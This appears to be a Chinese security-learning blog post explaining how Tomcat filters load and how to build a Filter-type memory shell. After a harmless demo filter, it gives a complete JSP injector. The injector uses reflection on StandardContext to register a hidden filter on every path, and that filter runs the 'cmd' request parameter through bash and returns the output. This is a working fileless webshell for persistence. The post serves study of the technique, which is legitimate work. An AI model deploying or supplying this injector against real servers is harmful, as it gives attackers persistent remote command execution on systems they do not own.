理论基础
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
Filter.doFilter→FilterChain.doFilter→…→Servlet.serivce
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。
tomcat中有四种容器,engine、host、context、wrapper。
mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。
wrapper的实现通过org.apache.catalina.core.StandardWrapper
context的实现通过org.apache.catalina.core.StandardContext
host的实现通过org.apache.catalina.core.StandHost
engine的实现通过org.apache.catalina.core.

Filter内存马
项目构建
项目构建可以根据上面的来写,但是在导入tomcat9时,会出现servlet-api.jar不存在的情况,我的办法是将tomcat库直接全部导入。
import javax.servlet.*;
import java.io.IOException;
public class TestJavaServlet implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
@Override
//触发filter
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {}
}
web.xml注册filter
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="<http://xmlns.jcp.org/xml/ns/javaee>"
xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
xsi:schemaLocation="<http://xmlns.jcp.org/xml/ns/javaee> <http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd>"
version="4.0">
<filter>
<filter-name>TestJavaServlet</filter-name>
<filter-class>filter.TestJavaServlet</filter-class>
</filter>
<filter-mapping>
<filter-name>TestJavaServlet</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
</web-app>

当访问/filter/demo时,触发断点

原理:
大多数请求都会通过filter才会到达servlet,如果filter中加入恶意代码,那么,访问servlet时候就可以触发带有恶意代码的filter。
而filter主要都是在standardcontext(的变量)中的vivla,一个vivla对应一个serlvet。
standardcontext会保留到tomcat生命周期结束,导致内存马驻留。
filterDefs存放了filter的定义,比如名称跟对应的类,就是web.xml中的对应信息
Filterchain类用于依次调用链上的filter。
在进入构造注入之前,需要了解一下filter的加载流程(很像PE导出导入呢):
- 根据请求的URL从FilterMaps中找出与URL对应的filter名称
- 通过filter名称去FilterConfigs中找到对应名称的FilterConfig
- 找到FilterConfig后添加到FilterChain中
- filterchain中调用InternalDoFilter遍历获取chain的filterconfig,根据filterconfig找到filter的dofilter
如果要实现恶意filter调用:
首先创建恶意filter类,使用filterDef对filter进行封装,然后将filterDef添加到filterDefs和FIlterConfig里面,创建FilterMap存放到FilterMaps中去,将恶意的filter存放到filterchain的最前面。
实现代码:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.logging.LogRecord" %>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
final String name = "matoujin";
//获取standardcontext
//servletcontext用于客户端共享
ServletContext servletContext =request.getSession().getServletContext();
//field用于获得类,standardcontext相当于applicationcontext的一种实现
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// catalina包括connecter和container,
// StandardContext就是一个Container,它主要负责对进入的用户请求进行处理
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
//注意这里用的是javax.serlvet的Filter,不是logging的
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException{
}
//dofilter中存放恶意执行
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash", "-c", req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes, 0, len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
//创建自定义的filterdef(filterdef封装filter:存放filter的定义)
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
//将filterdef添加到filterdefs中
standardContext.addFilterDef(filterDef);
//创建filtermap
FilterMap filterMap = new FilterMap();
//表示在所有路径下都触发
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//filtermap添加到filtermaps中第一个位置,addfiltermapbefore体现在最前端插入
standardContext.addFilterMapBefore(filterMap);
//利用反射创建filterconfig,将filterdef和standardcontext传入
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>

Comments | 1 条评论
https://yzddmr6.com/posts/tomcat-context/ 关于Tomcat中的三个Context的理解

https://wjlshare.com/archives/1529 Tomcat 内存马学习(一):Filter型